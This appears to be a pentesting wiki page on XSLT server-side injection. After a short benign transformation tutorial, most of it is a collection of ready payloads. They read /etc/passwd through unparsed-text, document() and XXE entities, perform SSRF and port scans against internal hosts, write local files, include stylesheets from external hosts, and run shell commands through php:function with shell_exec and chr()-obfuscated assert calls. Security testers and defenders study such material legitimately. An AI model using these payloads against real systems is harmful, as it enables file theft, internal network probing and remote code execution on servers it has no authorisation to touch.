XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

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It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).
The transformation can be done in the server or in the browser).
The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/​
Example - Tutorial
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>
Execute:
$ saxonb-xslt -xsl:xsl.xsl xml.xml
 
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>
Fingerprint
detection.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
    <h2>XSLT identification</h2>
    <b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
    <b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
    <b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>
And execute
$saxonb-xslt -xsl:detection.xsl xml.xml 
​
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Read Local File
read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml
​
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Versions
There might be more or less functions depending on the XSLT version used:
​https://www.w3.org/TR/xslt-10/​
​https://www.w3.org/TR/xslt20/​
​https://www.w3.org/TR/xslt-30/​
Fingerprint
Upload this and take information
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>
SSRF
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
Javascript Injection
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
Directory listing (PHP)
Opendir + readdir
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
Assert (var_dump + scandir + false)
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>
Read files
Internal - PHP
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
Internal - XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
Through HTTP
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
Internal (PHP-function)
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>
Port scan
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
Write to a file
XSLT 2.0
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
Xalan-J extension
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
Other ways to write files in the PDF
Include external XSL
<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Execute code
php:function
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
Execute code using other frameworks in the PDF
More Languages
In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
Access PHP static functions from classes
The following function will call the static method stringToUrl of the class XSL:
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)
Brute-Force Detection List
Auto_Wordlists/xslt.txt at main · carlospolop/Auto_Wordlists
GitHub
References
​XSLT_SSRF\
​http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf\
​http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf​
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Pentesting Web - Previous

XPATH injection

Next - Pentesting Web

XXE - XEE - XML External Entity

Last modified 17d ago

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On this page

Example - Tutorial

Fingerprint

Read Local File

SSRF

Versions

Fingerprint

SSRF

Javascript Injection

Directory listing (PHP)

Opendir + readdir

Assert (var_dump + scandir + false)

Read files

Internal - PHP

Internal - XXE

Through HTTP

Internal (PHP-function)

Port scan

Write to a file

XSLT 2.0

Xalan-J extension

Include external XSL

Execute code

php:function

More Languages

Access PHP static functions from classes

Brute-Force Detection List

References